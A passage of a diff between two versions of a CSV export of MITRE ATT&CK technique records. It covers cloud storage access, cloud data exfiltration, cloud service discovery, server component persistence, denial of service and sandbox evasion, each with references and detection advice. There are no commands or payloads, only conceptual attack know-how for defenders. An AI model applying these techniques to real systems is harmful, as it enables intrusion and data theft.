HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1530', 'external_id': 'T1530'}, {'source_name': 'Amazon S3 Security, 2019', 'description': 'Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/'}, {'source_name': 'Microsoft Azure Storage Security, 2019', 'description': 'Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide'}, {'source_name': 'Google Cloud Storage Best Practices, 2019', 'description': 'Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.', 'url': 'https://cloud.google.com/storage/docs/best-practices'}, {'source_name': 'Trend Micro S3 Exposed PII, 2017', 'description': 'Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.', 'url': 'https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia'}, {'source_name': 'Wired Magecart S3 Buckets, 2019', 'description': 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.', 'url': 'https://www.wired.com/story/magecart-amazon-cloud-hacks/'}, {'source_name': 'HIPAA Journal S3 Breach, 2017', 'description': 'HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.', 'url': 'https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Netskope', 'Praetorian']",['Cloud Storage: Cloud Storage Access'],,"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",False,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--144e007b-e638-431d-a894-45d90c54ab90,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T18:03:05.864Z,2021-04-20T14:51:01.759Z,Modify Cloud Compute Infrastructure,"An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. -Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1578', external_id='T1578'), ExternalReference(source_name='Mandiant M-Trends 2020', description='Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', url='https://content.fireeye.com/m-trends/rpt-m-trends-2020')]",attack-pattern--144e007b-e638-431d-a894-45d90c54ab90,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-20 14:51:01.759000+00:00,Modify Cloud Compute Infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Instance: Instance Stop', 'Instance: Instance Start', 'Instance: Instance Creation', 'Instance: Instance Modification', 'Instance: Instance Deletion', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Snapshot: Snapshot Deletion', 'Volume: Volume Creation', 'Volume: Volume Modification', 'Volume: Volume Deletion']",,,,,"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",,,,,False,,,['User'],['IaaS'],,,,1.1 -2019-08-30 13:03:04.038000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. +Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578', 'external_id': 'T1578'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Instance: Instance Stop', 'Instance: Instance Start', 'Instance: Instance Creation', 'Instance: Instance Modification', 'Instance: Instance Deletion', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Snapshot: Snapshot Deletion', 'Volume: Volume Creation', 'Volume: Volume Modification', 'Volume: Volume Deletion']",,"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",False,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T13:03:04.038Z,2021-03-08T10:33:01.280Z,Transfer Data to Cloud Account,"Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces. -Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1537', external_id='T1537'), ExternalReference(source_name='DOJ GRU Indictment Jul 2018', description='Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.', url='https://www.justice.gov/file/1080281/download')]",attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2021-03-08 10:33:01.280000+00:00,Transfer Data to Cloud Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Cloud Storage: Cloud Storage Modification', 'Cloud Storage: Cloud Storage Creation']",,,,,"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ",,,,,False,True,,['User'],['IaaS'],,,,1.1 -2019-08-30 13:01:10.120000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. +Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1537', 'external_id': 'T1537'}, {'source_name': 'DOJ GRU Indictment Jul 2018', 'description': 'Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.', 'url': 'https://www.justice.gov/file/1080281/download'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Cloud Storage: Cloud Storage Modification', 'Cloud Storage: Cloud Storage Creation']",,"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ",False,['User'],['IaaS'],1.1,,,True,,,, +attack-pattern,attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T13:01:10.120Z,2021-03-16T12:57:03.837Z,Cloud Service Discovery,"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API) -Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1526', external_id='T1526'), ExternalReference(source_name='Azure - Resource Manager API', description='Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.', url='https://docs.microsoft.com/en-us/rest/api/resources/'), ExternalReference(source_name='Azure AD Graph API', description='Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.', url='https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview'), ExternalReference(source_name='Azure - Stormspotter', description='Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.', url='https://github.com/Azure/Stormspotter'), ExternalReference(source_name='GitHub Pacu', description='Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.', url='https://github.com/RhinoSecurityLabs/pacu')]",attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-16 12:57:03.837000+00:00,Cloud Service Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Suzy Schapperle - Microsoft Azure Red Team', 'Praetorian']","['Cloud Service: Cloud Service Metadata', 'Cloud Service: Cloud Service Enumeration']",,,,,"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1526', 'external_id': 'T1526'}, {'source_name': 'Azure - Resource Manager API', 'description': 'Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.', 'url': 'https://docs.microsoft.com/en-us/rest/api/resources/'}, {'source_name': 'Azure AD Graph API', 'description': 'Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview'}, {'source_name': 'Azure - Stormspotter', 'description': 'Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.', 'url': 'https://github.com/Azure/Stormspotter'}, {'source_name': 'GitHub Pacu', 'description': 'Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.', 'url': 'https://github.com/RhinoSecurityLabs/pacu'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Suzy Schapperle - Microsoft Azure Red Team', 'Praetorian']","['Cloud Service: Cloud Service Metadata', 'Cloud Service: Cloud Service Enumeration']",,"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.",,,,,False,,,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,1.2 -2019-06-28 17:52:07.296000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1505', external_id='T1505'), ExternalReference(source_name='US-CERT Alert TA15-314A Web Shells', description='US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', url='https://www.us-cert.gov/ncas/alerts/TA15-314A')]",attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-09-16 19:34:19.961000+00:00,Server Software Component,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,,,,"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. +Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.",False,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",1.2,,,,,,, +attack-pattern,attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-06-28T17:52:07.296Z,2021-10-18T17:05:44.743Z,Server Software Component,Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505', 'external_id': 'T1505'}, {'source_name': 'US-CERT Alert TA15-314A Web Shells', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. -Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ",,,,,False,,,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",,,,1.1 -2019-04-18 11:00:55.862000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) +Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ",False,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",1.2,,,,,,, +attack-pattern,attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-18T11:00:55.862Z,2021-04-14T12:05:31.985Z,Endpoint Denial of Service,"Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). @@ -2707,17 +2937,17 @@ Botnets are commonly used to conduct DDoS attacks against networks and services. In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1499', external_id='T1499'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/227.html', external_id='CAPEC-227'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/131.html', external_id='CAPEC-131'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/130.html', external_id='CAPEC-130'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/125.html', external_id='CAPEC-125'), ExternalReference(source_name='FireEye OpPoisonedHandover February 2016', description='Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.', url='https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html'), ExternalReference(source_name='FSISAC FraudNetDoS September 2012', description='FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.', url='https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf'), ExternalReference(source_name='Symantec DDoS October 2014', description='Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.', url='https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf'), ExternalReference(source_name='USNYAG IranianBotnet March 2016', description='Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.', url='https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged'), ExternalReference(source_name='ArsTechnica Great Firewall of China', description='Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.', url='https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/'), ExternalReference(source_name='Cisco DoSdetectNetflow', description='Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', url='https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf')]",attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-04-14 12:05:31.985000+00:00,Endpoint Denial of Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499', 'external_id': 'T1499'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/227.html', 'external_id': 'CAPEC-227'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/131.html', 'external_id': 'CAPEC-131'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/130.html', 'external_id': 'CAPEC-130'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/125.html', 'external_id': 'CAPEC-125'}, {'source_name': 'FireEye OpPoisonedHandover February 2016', 'description': 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html'}, {'source_name': 'FSISAC FraudNetDoS September 2012', 'description': 'FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.', 'url': 'https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf'}, {'source_name': 'Symantec DDoS October 2014', 'description': 'Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf'}, {'source_name': 'USNYAG IranianBotnet March 2016', 'description': 'Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.', 'url': 'https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged'}, {'source_name': 'ArsTechnica Great Firewall of China', 'description': 'Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.', 'url': 'https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. -Externally monitor the availability of services that may be targeted by an Endpoint DoS.",,,,['Availability'],False,,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,1.1 -2019-04-17 22:22:24.505000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. +Externally monitor the availability of services that may be targeted by an Endpoint DoS.",False,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",1.1,,,,,['Availability'],, +attack-pattern,attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-17T22:22:24.505Z,2021-10-18T14:57:48.989Z,Virtualization/Sandbox Evasion,"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1497', external_id='T1497'), ExternalReference(source_name='Unit 42 Pirpi July 2015', description='Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.', url='https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/')]",attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-21 15:16:10.835000+00:00,Virtualization/Sandbox Evasion,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Deloitte Threat Library Team', 'Sunny Neo']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static File Analysis']",,,,"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",,,,,False,,,,"['Windows', 'macOS', 'Linux']",,,,1.2 -2019-04-17 20:23:15.105000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497', 'external_id': 'T1497'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 